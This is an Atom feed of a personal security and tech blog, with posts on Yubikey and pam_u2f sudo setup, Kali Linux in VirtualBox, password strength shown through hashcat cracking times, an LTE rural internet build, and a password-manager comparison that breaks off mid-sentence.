brand is an identifying mark, the symbol that represents a company and its products.  Particular brands produce an emotional response that draws the consumer toward the product or away from it (Accenture, efumo). Emotional branding is based on that unique trust that is established with an audience.  It elevates purchases based on a need to the realm of desire. The commitment to a product or an institution,  the pride we feel upon receiving a wonderful gift of a brand we love, or having a positive shopping experience in an inspiring environment where someone knows our name or brings an unexpected gift of coffee. These feelings are at the core of emotional branding. Also, the brand mostly represents the quality. The book also talked about Blaming things, video games, a lot about robots, bystander effect, and safety. It was thought that Security is more like a social or human problem, than a technological one. Because yes- those who want to steal/corrupt/disrupt will always find a way to take advantage of human nature and bypass the security.&lt;/p&gt;&lt;p&gt;Reading this book I wanted to understand, what people think and how they think that something is a good product or isn\u2019t, and what can be used to, perhaps, make people fall for things and what I should look into, how to make things like these appealing to victims, if I ever used this in cybersecurity. For me, this book was a good/worth reading. It was easily readable and easy to understand, and if you read 20 pages a day you can finish it in less than 2 weeks.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/emotional-design-conspect"/>
    <id>/blog/emotional-design-conspect</id>
    <title>Emotional Design- Why we love (or Hate) everyday things</title>
    <updated>2021-11-04T21:33:56Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;Sometimes, you want to work with webauthn through your VirtualBox, OR, use yubikey 2FA/security inside virtualbox. Well, after some while, I just managed it, so buckle up kiddos, time for a post on how to set up these things inside a virtualbox and/or your main system, whatever floats your boat. Also, how to set up that Yubikey is required for your sudo.&lt;/p&gt;&lt;p&gt;First off, if you’re on Linux, add your user who runs the VirtualBox to it’s group (vboxsf)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo gpasswd -a ___YOUR_USER_HERE___ vboxsf &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and restart your pc to that to take effect.&lt;/p&gt;&lt;p&gt;After that, go inside your VM settings &gt; USB, press the \u201cAdd new USB filter\u201d, and select your yubikey there.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/0e1bcd59-c38f-40ef-9ed7-68a81f5acc1e.png&quot;&gt;&lt;p&gt;Congratz, you have done most of the work, if you just want to use the webauthn in VirtualBox. if you want to check if it actually works, check it inside &lt;a href=&quot;https://demo.yubico.com/webauthn-technical/registration&quot;&gt;https://demo.yubico.com/webauthn-technical/registration&lt;/a&gt;&lt;/p&gt;&lt;p&gt;if you see it blinking like this&lt;/p&gt;&lt;video width=&quot;240&quot; loop=&quot;true&quot; muted=&quot;true&quot; autoplay=&quot;true&quot;&gt;    &lt;source src=&quot;https://img.cdn.dawgora.com/efbe3935-8fba-415c-8ef3-6bfc9d66f6a9.mp4&quot; type=&quot;video/mp4&quot;&gt;&lt;/video&gt;&lt;p&gt;congratz, it’s working&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/408d07aa-4dbc-4f0a-91b4-9c09e58904b8.png&quot;&gt;&lt;p&gt;Okay, woohoo. What now? Idk, just use it. Or perhaps get the black yubikey and set it up that you can’t even run SUDO without the yubikey, and the PC auto-locks when the yubikey is removed.&lt;/p&gt;&lt;p&gt;Well, first off, you’ll need to install &lt;code class=&quot;inline&quot;&gt;pam-u2f&lt;/code&gt; (some Linux distros call it libpam-u2f, check to be sure) and install it&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/f08c4096-2857-4f2d-8046-59c9c018f6e8.png&quot;&gt;&lt;p&gt;after installing that, create .config/Yubico in your home directory, to keep your yubikey config. it will be used to save info about your keys&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mkdir -p ~/.config/Yubico&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;now, use pamu2fcg to add a yubikey&lt;/p&gt;&lt;pre&gt;&lt;code&gt;pamu2fcfg &gt; ~/.config/Yubico/u2f_keys&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;your yubikey will be flashing at this point, press it and you’ll be good to go. If you inspect the u2f_keys file, you’ll see that there is something written in the file.&lt;/p&gt;&lt;h2&gt;AND NOW, LET US DO SOME COOL SHIT, LIKE USE THE YUBIKEY FOR SUDO.&lt;/h2&gt;&lt;p&gt;first of, open /etc/pam.d/sudo with your text editor of choice also, fun fact- if you’re thinking where is your pam_u2f, it might be located in &lt;code class=&quot;inline&quot;&gt;/usr/lib/security/&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo vim /etc/pam.d/sudo&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;basically, add &lt;code class=&quot;inline&quot;&gt;pam_u2f.so&lt;/code&gt; under the previous auth block&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/15ed7319-2783-4db3-9712-9f56259961b3.png&quot;&gt;&lt;p&gt;Also, if you’re asking \u201cwtf is system-auth\u201d, it’s a file in /etc/pam.d/, you can check it out for more details. Save n’ quit.&lt;/p&gt;&lt;p&gt;guess what- you’re set now. you can check it out. open a new terminal (don’t close your current terminal, if you dun goofed, at least you can fix your mistake), take out your yubikey and try to update something, or use Sudo. Spoiler alert- you’ll fail. If you put it back in, and press it, it will work.&lt;/p&gt;&lt;p&gt;well, you’re kind of set. but you can also set that you need your key also in when you log in, you’ll need to edit your lightdm e.c. to do that, you’ll just need to add it under basic auth include or auth required, and it should work just fine.&lt;/p&gt;&lt;p&gt;Additional info: if you want to see additional info, what you can do with pam_u2f, read it here &lt;a href=&quot;https://developers.yubico.com/pam-u2f/Manuals/pam_u2f.8.html&quot;&gt;https://developers.yubico.com/pam-u2f/Manuals/pam_u2f.8.html&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;BUT HERE’S A DOOZIE- WHAT 2 DO, IF YOU DON’T WANT TO PRESS IT AGAIN AND AGAIN WHEN YOU USE SUDO?&lt;/h2&gt;&lt;p&gt;Easy. First off, remember the &lt;code class=&quot;inline&quot;&gt;u2f_keys&lt;/code&gt; file? in there, for each key, there’s a line like this&lt;/p&gt;&lt;pre&gt;&lt;code&gt;user:base64_string,base64_other_string,es256,+presence&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you remove +presence (just leave the last comma), and in the pam.d/sudo file add the option &lt;code class=&quot;inline&quot;&gt;userpresence=0&lt;/code&gt; at the end of the &lt;code class=&quot;inline&quot;&gt;pam_u2f.so&lt;/code&gt;, you’ll just do that.&lt;/p&gt;&lt;p&gt;if you are afraid to fuck up the u2f_keys file, just run &lt;code class=&quot;inline&quot;&gt;pamu2fcfg &gt; ~/.config/Yubico/u2f_keys -P&lt;/code&gt; (to be fair, there are a lot of other useful stuff, read the man pages for pamu2fcfg, it will help you out a lot)&lt;/p&gt;&lt;p&gt;Anyslut- it is what it is. use this information as you want and go nuts. Hope that this information helps.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/yubikey-sudo-n-stuff"/>
    <id>/blog/yubikey-sudo-n-stuff</id>
    <title>Yubikey for &quot;muh&quot; sudo security</title>
    <updated>2021-10-10T19:45:33Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;Sometimes, you want extra security, and, for example, you don\u2019t want to use a phone everywhere (Like, logging in to your google account) for 2-factor authentication (2FA). Then, what should you use? For me, the answer is &lt;a href=&quot;https://www.yubico.com&quot;&gt;Yubikey&lt;/a&gt; Also- Yubikey provides even more features you might not have thought about, like- getting a one-time password straight into your console, or, even more- you can make that your PC doesn’t allow any sudo commands while you haven’t added the yubikey. Basically- &lt;strong&gt;you can make that nobody can access your computer/account without this “access token”&lt;/strong&gt;&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/cc144e1a-46ea-4935-bb7f-609e711d4732.jpg&quot;&gt;&lt;h3&gt;So, what is it?&lt;/h3&gt;&lt;h6&gt;The industry\u2019s #1 security key, enabling strong two-factor, multi-factor, and passwordless authentication.&lt;/h6&gt;&lt;p&gt;And there are 2 Types of the keys.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/6e17e1b1-a91a-4f93-a44f-144469b02981.png&quot;&gt;&lt;p&gt;These keys are good all-rounders- it’s not just for only online account usage, but also for &lt;/p&gt;&lt;ul&gt;&lt;li&gt;OTP (Good example- AWS allows you to use 2FA in console, and yubikey allows you to generate TOTP in your console, so, in theory, you can automate something, that requires 2FA.),&lt;/li&gt;&lt;li&gt;Using it for open GPG (storing your GitHub account  GPG Key, to &lt;em&gt;sign your commits&lt;/em&gt;, or, signing in your servers via &lt;/li&gt;&lt;li&gt;PAM authentication. (Basically- if you don’t have it on your PC, you won’t even be able to turn the PC &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It also has NFC functionality to use on your phone. (for example, you can put an app that contains your 2FA keys on it and when you scan your yubikey NFC, it would unlock it.&lt;/p&gt;&lt;p&gt;The only problem with it might be the cost- it costs from 45-55 EUR per key (plus VAT). So, it would set you back around 120 EUR, if you’re going to buy two (just in case if you lose one key and need a backup).&amp;nbsp; But there are some discounts now and then, which can lower the purchase of 5series by 20% and you can get Security key 50% off.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/008b97ef-2bfd-4c45-98e6-b4485b725d3b.png&quot;&gt;&lt;p&gt;Then, there is the second type of key- The security key. It’s mainly used for Logging into your online accounts. It doesn’t provide functionality like 2FA, PAM authentication, and so on, but it’s a lot cheaper- it costs only 25 EUR (plus VAT). Just like Yubikey 5 series, they also have NFC functionality, so you can use it for phones. You can authenticate, for example, to Reddit by it. Basically- get the blue one if you don’t need any other fancy things like TOTP/PAM/open GPG. But, if you want to use something else than USB A, you might have to look into Yubikey 5 series.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/13af18d9-8513-4a5a-a8ae-e84da27725df.png&quot;&gt;&lt;p&gt;Also, in near future, Yubikey will be providing a key, that allows you to use your fingerprint to access something. So, this also is a thing to keep in mind. If you want to find out, if any of your used apps allow to use a yubikey, you can check it out &lt;a href=&quot;https://www.yubico.com/works-with-yubikey/catalog/&quot;&gt;here&lt;/a&gt; And yes, there also are some alternatives to this, like nitrokey and onlykey or even google titan, but far as I know, they aren’t used so much as yubikey. For me, the only thing I currently would love to see is a good way to implement yubikey, to use it in PSD2 cases- like when you want to approve a payment inside a bank, because currently because of some laws, only “safest” way to approve a transaction, is via SMS and a 6 symbol key. Yes, SMS. And they don’t approve of simple Google 2fa keys because you can’t provide a reason for the payment/sum e.c. in any of these apps.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/yubikey"/>
    <id>/blog/yubikey</id>
    <title>Yubikey... Keys</title>
    <updated>2021-05-04T10:57:43Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. It’s one of the most popular “hacking” Linux distributions for this kind of things (even blackarch and parrotOS). But how do you set it up? Do you install it on a separate hard drive, or do you virtualise it? Personally, if you don’t need a lot of actions with GPU (like hashcat for password hacking) and need to have a good check on network traffic, virtualisation in Virtualbox is faster than installing it on a separate hard drive. It is possible to use GPU within virtualisation, using PCIe passthrough, but that might take a lot of time setting up.&lt;/p&gt;&lt;h5&gt;Setting up&lt;/h5&gt;&lt;p&gt;Firsly, you need to download Kali linux from their &lt;a href=&quot;https://www.kali.org/downloads/&quot;&gt;website&lt;/a&gt;. It’s available in Virtualbox image or as an iso image. Also, download Virtualbox. After that, you must open virtualbox, and press “new”.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/a746438a-e60c-40d7-bc24-384cea7ebb55.png&quot;&gt;&lt;p&gt;set your virtual machines name, type and machine folder.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/a96f7bad-3358-49fe-a7ed-593af482163e.png&quot;&gt;&lt;p&gt;After this step it will be asked for you to add a hard disk (and make it at least 50GB large. Because if you’ll ever be using password cracking, you might need a lot of space for password files). After that, you’ll create a virtual machine (VM). When you have created the VM, it would be advised to into the settings of the virtual machine, go to general advanced and set bidirectional clipboard and drag and drop. It will help later on to copy from your main computer things like passwords or commands.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/c2798024-df1a-4cf3-a713-eb071023ce8a.png&quot;&gt;&lt;p&gt;Also, you should go under System &amp;gt; processor and give the Virtualbox more than 1 core. 2 cores would suffice.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/8eadcfbc-3fd4-4305-8b63-3e662ae286bf.png&quot;&gt;&lt;p&gt;After this setup, press okay and start the VM. You will be asked to select the installation iso and then it will start to install. The setup is straightforward (mostly you’ll need to press &lt;strong&gt;next next next&lt;/strong&gt;), but it is advised to create a &lt;strong&gt;simple&lt;/strong&gt; password or for you have easily known password, because when you’ll first turn on kali, you won’t be able to use your clipboard. Also, if you have an SSD, it would be advised to remove the SWAP. After that, you basically have installed and set up Kali Linux. When you first log in to the Kali Linux, you also should update it with &lt;strong&gt;sudo apt-get update&lt;/strong&gt; and &lt;strong&gt;sudo apt-get upgrade&lt;/strong&gt; to receive the newest patches. Also, download Virtualbox guest additions under devices &amp;gt; &lt;strong&gt;insert guest addition&lt;/strong&gt;. This will allow you to use your clipboard for both computers..&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/763d6a0c-3a4b-46e9-97dc-e2124bde72fe.png&quot;&gt;&lt;p&gt;After this, the last thing you should do is to add a shared folder for your Virtualbox. In VM settings, under &lt;strong&gt;Shared Folders&lt;/strong&gt; press add folder icon, and select your wanted folder. Make it Auto-Mounted, if you want it to show up automatically when the device is turned on.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/9f50dedf-243e-45db-8215-1268e598c186.png&quot;&gt;&lt;p&gt;After this, in thunar you’ll be able to see your shared folder. And this is the basic Kali Linux VM setup. There are a lot of other things you could set up, but this is a good start. Also, if you want, you can create a VDI (virtual disk) copy, if you ever want to start working from this place.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/setting-up-kali-linux"/>
    <id>/blog/setting-up-kali-linux</id>
    <title>Setting up Kali linux</title>
    <updated>2021-02-24T18:00:43Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;h4&gt;TL;DR&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;Don’t reuse passwords on multiple sites. Don’t even use part of your password on another website.&lt;/li&gt;&lt;li&gt;Hackers can break your password easily, in some seconds.&lt;/li&gt;&lt;li&gt;if a hacker knows part of your password or some symbols, it can be hacked in a really fast time.&lt;/li&gt;&lt;li&gt;Don’t save passwords in browsers, they are easily accessible to hackers.&lt;/li&gt;&lt;li&gt;A lot of websites don’t ask for longer passwords than 8 symbols.&lt;/li&gt;&lt;li&gt;Use a password manager&lt;/li&gt;&lt;li&gt;Using a password manager will create a single point of failure. (SPOF). That can be avoided by using Two-factor authentication.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So, many sites ask you to write these things:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Password must be at least 8 symbols long&lt;/li&gt;&lt;li&gt;It should contain a Large letter&lt;/li&gt;&lt;li&gt;It should contain a number &lt;/li&gt;&lt;li&gt;It should contain a symbol&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;But why? Why should you use a bigger password? I’ll give you some examples.&lt;br&gt;&lt;br&gt;for example- how long will it take to crack a password Named… password?&lt;br&gt;… pretty fast. looking at the &lt;a href=&quot;https://nordpass.com/most-common-passwords-list
&quot;&gt;common password list&lt;/a&gt;, seems like a lot of people are using &lt;a href=&quot;https://nordpass.com/most-common-passwords-list/&quot;&gt;easy to guess passwords&lt;/a&gt;. How about… a random 8 letter password, like “ijnokmpl”&amp;nbsp; (and if it’s hashed in SHA2-256 (an algorithm, which encrypts your password, so that nobody won’t see/understand it))?&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/b7e6664c-f3fe-45b7-9a24-22791096b284.png&quot;&gt;&lt;p&gt;Using &lt;a href=&quot;https://hashcat.net/hashcat/&quot;&gt;Hashcat&lt;/a&gt;, it didn’t take too long. Using random characters took my 3080 (hash specs are &lt;a href=&quot;https://gist.github.com/Dawgora/0c43f5759287f7e87d37f4ca537c33ca) &quot;&gt;here&lt;/a&gt;)  2 minutes and 10 seconds. Okay, lets update the password. lets add 1 to the password (“ijnokmpl1”). how long will that take? will we be more secure?&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/86897047-d6b1-456c-a5b7-c9730b057018.png&quot;&gt;&lt;p&gt;it would take approx. 11 hours to crack your password. That’s a lot better. Adding any new symbol. which isn’t the same type as previous characters is good. But… what if… We knew that user would put first 8 characters like letters, and then, as a “small social engineering trick”, would put in the next requirements in password list (for example, “you need one digit in your password”.&amp;nbsp; This also is a big problem, when creating a password- most of the people look at the password requirements and treat them as a “todo” list, they will try to “check” each of the requirements from top to bottom until they all are done. And frequently, they are put at the end of the “original” password.)&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/228c4e6b-bccb-4a8c-af5d-0f56427ad8d4.png&quot;&gt;&lt;p&gt;Even if I would know some characters (like first 4), and if I don’t know the rest of them and know the length… it would take a hacker less than 20 seconds to guess your password&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/8611ed48-a864-4481-9753-1d0692e8f618.png&quot;&gt;&lt;p&gt;and, if a hacker didn’t know the length, and knew some symbols in password, it would still take him less than a minute to guess your password, if he ever got your encrypted password.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/165d76ec-ca89-47ee-bd55-a19a462ce102.png&quot;&gt;&lt;p&gt;So, you might see a problem- If you create a password just like the website asks you (1 big letter, 1 number (in that order), your password might be compromised in some seconds. This is also a good reason, why you should not re-use password on multiple sites (for example, using password “ihatetrains” in one website, while using “ihatetrains2021” in other). If your password would get compromised, it would be a lot easier to guess your password on other sites, like Gmail/youtube and other accounts. Also, fun fact- from &lt;a href=&quot;https://www.troyhunt.com/how-long-is-long-enough-minimum-password-lengths-by-the-worlds-top-sites/&quot;&gt;Troy hunts&lt;/a&gt; post it’s clearly visible, that most of the websites ask at least 8 symbols (or… even less), but, as seen before, it’s not enough. And then there is the position, that “passwords, getting longer, are harder to remember”. Well, that’s true. If you’re using about 20+ web services, which require passwords, it would be hard to remember all these passwords, if they would be 12+ characters long, alpha-numeric, and would have random symbols in them. or additional info, it also isn’t advised to save passwords in your browser/computer, because, if you haven’t password protected the access to your &lt;a href=&quot;https://nordpass.com/blog/view-edit-delete-saved-passwords-firefox/&quot;&gt;passwords&lt;/a&gt; (firefox example), an attacker could get access to your email and passwords pretty easily.&amp;nbsp; Even worse, if he has remote access to your computer, he could &lt;a href=&quot;https://null-byte.wonderhowto.com/how-to/hacking-windows-10-steal-decrypt-passwords-stored-chrome-firefox-remotely-0183600/&quot;&gt;download your browser passwords and decrypt them&lt;/a&gt;. Continuing previous “even worse” train, it’s hard to even know if even one of your passwords has been compromised already because some of the organisations don’t want to notify their users, that they were breached. If you want to know, if your email/password has ever been breached, please check Troy Hunt’s website- &lt;a href=&quot;https://haveibeenpwned.com/&quot;&gt;haveibeenpawned.com&lt;/a&gt;. This website might help you understand if one of your accounts might already be breached, and I would advise checking this website at least once a month. In my opinion, passwords also &lt;strong&gt;must be generated using a password manager.&lt;/strong&gt; Also, there are a lot of them around now, like&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Dashlane&lt;/li&gt;&lt;li&gt;NordPass&lt;/li&gt;&lt;li&gt;KeePass&lt;/li&gt;&lt;li&gt;1Password&lt;/li&gt;&lt;li&gt;LastPassword&lt;/li&gt;&lt;li&gt;Bitwarden&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Personally, I would advise using a password manager, which saves your password “vault” (like KeePass) on your local computer, where nobody has access to this file, rather than in somebodies server. Because you’re using a password manager, this will mean that you’re going to increase the possibility to increase “Single point of failure” (SPOF)- If somebody has access to your password manager, he has access to all your accounts.&amp;nbsp; It would be advisable to put Two factor authentication (like google two factor) on your&lt;b&gt; password manager and web resource. &lt;/p&gt;&lt;p&gt;Also, I would advise generating truly random passwords, which are longer than the required character count on the website, because that would mean that a hacker doesn’t even know how long is your password, or even what characters will it have.&lt;br&gt;&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/something-about-passwords-2021"/>
    <id>/blog/something-about-passwords-2021</id>
    <title>Some things about passwords in 2021</title>
    <updated>2021-02-17T19:11:25Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;Have you ever been in the countryside and have seen something like this?&lt;/p&gt;&lt;img class=&quot;center-image&quot; style=&quot;width: 30vw;&quot; src=&quot;https://img.cdn.dawgora.com/0d220724-7d8c-44b4-bf35-1531581433e4.png&quot;&gt;&lt;p&gt;And do you want to change it to something like this?&lt;/p&gt;&lt;img class=&quot;center-image&quot; style=&quot;width: 30vw;&quot; src=&quot;https://img.cdn.dawgora.com/14f94972-c4c4-4621-a165-699aaa50bec5.png&quot;&gt;&lt;p&gt;Then this post might be for you. Recently, my dad asked if I couldn’t improve the internet speed to our house and make it possible to watch TV channels through internet because Viasat (local satellite TV, which costs approx 22 EUR to show some channels) is kind of expensive and is a pain in the ass to configure correctly yourself if you want to connect to Sirius (satellite connection, which is used mainly in Latvia). And, it was also problematic to have good internet at home. So, basically, some things needed to change. To be fair, you could connect to the internet and see most of the channels on the internet for a cheaper price.&amp;nbsp; (Netflix, or TV3play for local channels) So, I made some improvements.&lt;/p&gt;&lt;img style=&quot;width: 30vw;&quot; class=&quot;center-image&quot; src=&quot;https://img.cdn.dawgora.com/e68c9f45-4068-4d51-bd57-a7bc15996eb3.jpg&quot;&gt;&lt;img style=&quot;width: 30vw;&quot; class=&quot;center-image&quot; src=&quot;https://img.cdn.dawgora.com/53c9da34-6cb9-4e56-bd90-957ca1e97dbe.jpg&quot;&gt;&lt;p&gt;I bought&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Cat5E outdoor Ethernet wire (305m)&lt;/li&gt;&lt;li&gt;2 Xiaomi mi aiot router ac2350 (the cheapest thing I saw for wireless. plus, 6 antennas really work great. at first, I thought that 1 device won’t go through 2 walls. in the end, it was good enough to go through 2 walls, with 2.4Ghz Wifi, and gave about 20 Mbps connection for device)&lt;/li&gt;&lt;li&gt;RJ45 connectors for outdoors (100 pieces, could do with normal ones, but, whatever)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://mikrotik.com/product/ldf_lte6_kit&quot;&gt;LDF series Mikrotik&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Router board &lt;a href=&quot;https://mikrotik.com/product/crs112_8p_4s_in&quot;&gt;CRS112-8P-4S-IN&lt;/a&gt; (it has Power over Ethernet (PoE), and it can help to power the LDF series gadget. plus, if needed, surveillance cameras)&amp;nbsp; In total, in Latvia, it cost about 570 Euros to do this. Plus, a pre-paid SIM&amp;nbsp; card (Zelta Zivti\u0146a, costs around 2.49 EUR) to have internet free for 1 week.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;How to set up&lt;/h3&gt;&lt;p&gt;first of all, you need to &lt;a href=&quot;https://router-network.com/mikrotik-router-login&quot;&gt;log in&lt;/a&gt; to your LDF series device and set APN. In my example, I needed to create an APN (Zelta zivti\u0146a access point)&lt;/p&gt;&lt;img class=&quot;center-image&quot; style=&quot;width: 30vw;&quot; src=&quot;https://img.cdn.dawgora.com/1eaeb288-be76-4446-93e9-23508f92cfa1.png&quot;&gt;&lt;p&gt;And you needed to configure your pin (which is found on your pre-paid card), Bands, IP address, DHCP range e.c.&lt;/p&gt;&lt;img class=&quot;center-image&quot; style=&quot;width: 30vw;&quot; src=&quot;https://img.cdn.dawgora.com/b296be36-9430-4d52-a020-9fc4e0a82a5a.png&quot;&gt;&lt;p&gt;after that, you’re basically done with the LTE device. ( you need to connect to 3,7, 20, 40 bands, at least in Latvia) And… you really don’t need to set anything on the CRS (if you don’t need additional settings for IoT devices) The thing why I bought CRS is because of PoE ports. For this device, if you get the 57V power cord, you can power more or less all Ethernet surveillance cameras you want. (and add something like zoneMinder later). Plus The CRS now powers the LTE device, and I don’t need additional wire to power it. So… basically, you can spend 10 Eur a month ( you need to pay 2.49 per week for ZZ) for unlimited internet. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;and have a pretty decent internet connection.&lt;/li&gt;&lt;li&gt;And you can watch Netflix at 4K with a decent speed and mostly no problems/stutter. (plus, of course, youtube e.c. with no problems)&lt;/li&gt;&lt;li&gt;and watch most of the local TV stations in Latvia for 4.99 Eur (TV3Play).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After all of this, you can…&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Add VPN support that you can connect remotely (a built-in feature for Mikrotik)&lt;/li&gt;&lt;li&gt;add a surveillance system ( a bit expensive, buy a great feature)&lt;/li&gt;&lt;li&gt;add VLANs to separate IoT things from other things&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For a bare-bone system, you would only need the Mikrotik LDF head, long enough Ethernet wire and you should be fine + a sim card for internet and satellite dish. (approx. less than 200 EUR). This will work well enough if you target your internet provider’s tower correctly.&lt;/p&gt;&lt;p&gt;References&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=YDjn5bL_S78&quot;&gt;https://www.youtube.com/watch?v=YDjn5bL_S78&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=q_c-nWK18NM&quot;&gt;https://www.youtube.com/watch?v=q_c-nWK18NM&lt;/a&gt; (best material how to set it up )&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;There are a lot of improvements to have, but this is nice to have/create. This project was pretty fun.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/LTE-in-rural-areas"/>
    <id>/blog/LTE-in-rural-areas</id>
    <title>Using LTE as internet access in rural areas</title>
    <updated>2021-01-03T18:41:43Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;This post isn’t finished. Keep that in mind. Also, These are my ideas.&lt;/p&gt;&lt;p&gt;Time by time, you can see that a lot of websites have become compromised and the password hashes have been made public (or sold) by the hackers. But how can you be sure, that if one of your accounts might get compromised, that others won’t get hacked too?&lt;/p&gt;&lt;p&gt;One of the main things in cybersecurity (about passwords) is that you don’t:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Share your passwords&lt;/li&gt;&lt;li&gt;Reuse your passwords&lt;/li&gt;&lt;li&gt;Make them easily guessable&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Sure… But why should you use a password manager?&lt;/h3&gt;&lt;p&gt;Because humans make easily guessable passwords, or- they think of a password that you won’t remember. If you’re asking, what could be a “perfect password”, it should:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Be longer than 16 symbols&lt;/li&gt;&lt;li&gt;it should contain numbers, letters (capital and normal ones), symbols (!@#$%^&amp;amp;* e.c.)&lt;/li&gt;&lt;li&gt;Totally random (it shouldn’t have constant meaning, like having numbers in order (123456)&lt;/li&gt;&lt;li&gt;“For the love of everything that is holly for you, it shouldn’t be in this &lt;a href=&quot;https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt&quot;&gt;list&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Okay, so why password managers?&lt;/h4&gt;&lt;p&gt;Easily- they can do the hard work for you, like remembering passwords and generating them, which could be hard to guess.&lt;/p&gt;&lt;h4&gt;Popular password managers&lt;/h4&gt;&lt;h5&gt;Bitwarden&lt;/h5&gt;&lt;p&gt;One of the most popular password managers which could be seen on the internet. It allows to save its vault locally or on its cloud host. It has three plans:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Free plan&lt;/strong&gt; - it will allow using its services for free (password generation, usage of its apps, cloud hosting), but premium functions, like Two-step login with Yubikey, U2F, Duo are left out.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Premium ($10/year)&lt;/strong&gt; - will allow all the previous features, but also will give you Vault health reports, emergency access and priority support (also, those two-step login possibilities which I mentioned before). It also has 1Gb Personal encrypted file attachment possibility.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Families ($40/year)&lt;/strong&gt; - everything from premium, but it can access 6 users.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Looking at bitwardens &lt;a href=&quot;https://bitwarden.com/help/article/is-bitwarden-audited/&quot;&gt;compliance/audits/certifications&lt;/a&gt; Seems that it takes security seriously- it has GDPR compliance, CCPA, HIPAA SOC 2 Type 2 (which is similar to ISO 27001), SOC 3 certification. Its code is also possible to see in its GitHub &lt;a href=&quot;https://github.com/bitwarden&quot;&gt;account&lt;/a&gt; It uses Microsoft Azure as its cloud service. Bitwarden uses AES-CBC 256-bit encryption for vault data and PBKDF2 SHA-256 to derive your encryption key. As their documentation says, the password is always hashed before sending it to their servers. For encryption, they are using &lt;a href=&quot;https://w3c.github.io/webcrypto/&quot;&gt;Web Crypto&lt;/a&gt;, &lt;a href=&quot;https://github.com/digitalbazaar/forge&quot;&gt;Forge&lt;/a&gt;, &lt;a href=&quot;https://nodejs.org/api/crypto.html&quot;&gt;Node.js Crypto&lt;/a&gt;, (for browser extension, desktop and cli) , CommonCrypto (apple),  Javax.Crypto and bouncyCastle It’s available on &lt;a href=&quot;https://bitwarden.com/help/article/cli/&quot;&gt;CLI&lt;/a&gt;, Android, Apple, Browsers, Linux, Windows (10), and Mac’s. Previously, there hasn’t been any security incidents public for Bitwarden. But there are some &lt;a href=&quot;https://community.bitwarden.com/t/three-major-bitwarden-security-issues/14528&quot;&gt;comments&lt;/a&gt;, which could be a problem in future, if it’s true. (take this with grain of salt)&lt;/p&gt;&lt;h4&gt;Enpass&lt;/h4&gt;&lt;p&gt;Less known password 